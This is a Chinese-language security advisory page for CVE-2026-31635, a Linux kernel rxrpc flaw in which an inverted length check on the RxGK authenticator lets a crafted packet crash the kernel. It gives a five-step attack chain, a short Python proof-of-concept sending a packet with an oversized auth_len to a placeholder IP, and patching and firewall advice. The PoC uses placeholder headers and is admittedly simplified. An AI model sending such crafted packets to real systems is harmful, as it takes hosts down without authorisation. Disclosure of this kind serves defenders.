IPBUF安全漏洞报告
English
CVE-2026-31635 CVSS 7.5 高危

CVE-2026-31635 Linux内核rxrpc认证器长度检查漏洞

披露日期: 2026-04-24
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31635
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel拒绝服务DoSRxRPCKernel PanicCVE-2026-31635边界检查错误

漏洞概述

Linux内核的rxrpc模块中存在一个安全漏洞。该漏洞源于`rxgk_verify_response()`函数中对RESPONSE认证器长度的检查逻辑存在缺陷(检查条件被反转),导致系统接受了超过数据包剩余负载长度的认证器。当处理这些畸形数据包时,后续的解密操作会传递错误的长度参数给`skb_to_sgvec()`,触发内核断言失败(BUG_ON),从而导致系统崩溃或拒绝服务。

技术细节

该漏洞位于Linux内核的`net/rxrpc/rxgk.c`文件中的`rxgk_verify_response`函数。该函数负责解码并验证RxGK响应中的认证器长度(`auth_len`)。由于代码中的长度检查逻辑被错误地反转(Inverted Check),原本应该拒绝的超长`auth_len`被错误地接受。这个超长值随后被传递给`rxgk_decrypt_skb()`,并最终用于`skb_to_sgvec()`函数。由于长度值超出了物理缓冲区的限制,触发了`BUG_ON(len)`断言,导致内核恐慌(Kernel Panic)。攻击者可以通过网络发送特制的RxRPC数据包来利用此漏洞,无需用户交互或身份认证即可导致目标主机崩溃。

攻击链分析

STEP 1
步骤1:侦察
攻击者识别出运行受影响Linux内核版本且启用了RxRPC服务的目标系统。
STEP 2
步骤2:构造恶意数据包
攻击者构造一个特制的RxRPC数据包,其中包含一个RESPONSE认证器,其`auth_len`字段被设置为一个超大值(超过数据包剩余字节数)。
STEP 3
步骤3:发送攻击载荷
攻击者通过网络将恶意数据包发送给目标主机,无需身份认证。
STEP 4
步骤4:触发漏洞
目标内核的`rxgk_verify_response`函数接收数据包,由于检查逻辑反转,未能拒绝错误的长度。数据随后传递至`skb_to_sgvec`。
STEP 5
步骤5:系统崩溃
内核因`skb_to_sgvec`中的断言失败(BUG_ON)而触发恐慌(Kernel Panic),导致系统重启或拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import struct # Proof of Concept for CVE-2026-31635 # This script demonstrates the concept of sending a crafted packet # with an oversized authenticator length to trigger the kernel panic. def create_malicious_packet(): # Constructing a simplified RxRPC packet structure # Note: Actual RxRPC/RxGK headers are more complex. # The key is setting the 'auth_len' field to a value # larger than the remaining packet payload. header = b'\x00' * 20 # Placeholder for RxRPC headers # Set auth_len to a large value (e.g., 0xFFFFFFFF) # This bypasses the inverted check and causes skb_to_sgvec to fail. oversized_auth_len = struct.pack('>I', 0xFFFFFFFF) payload = header + oversized_auth_len + b'\x00' * 10 return payload def send_exploit(target_ip, port): try: # Using raw socket requires root privileges s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP) packet = create_malicious_packet() s.sendto(packet, (target_ip, port)) print(f"[+] Malicious packet sent to {target_ip}:{port}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": TARGET_IP = "192.168.1.100" # Replace with target IP TARGET_PORT = 7000 # Replace with target port send_exploit(TARGET_IP, TARGET_PORT)

影响范围

Linux Kernel (RxGK支持版本,具体参考Git补丁)

防御指南

临时缓解措施
建议立即检查系统内核版本,并应用官方提供的Git补丁(参考链接中的commit)。在无法立即重启更新的情况下,应使用防火墙规则阻断非信任IP对RxRPC服务端口的访问,或暂时禁用相关内核功能以防止攻击导致系统崩溃。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表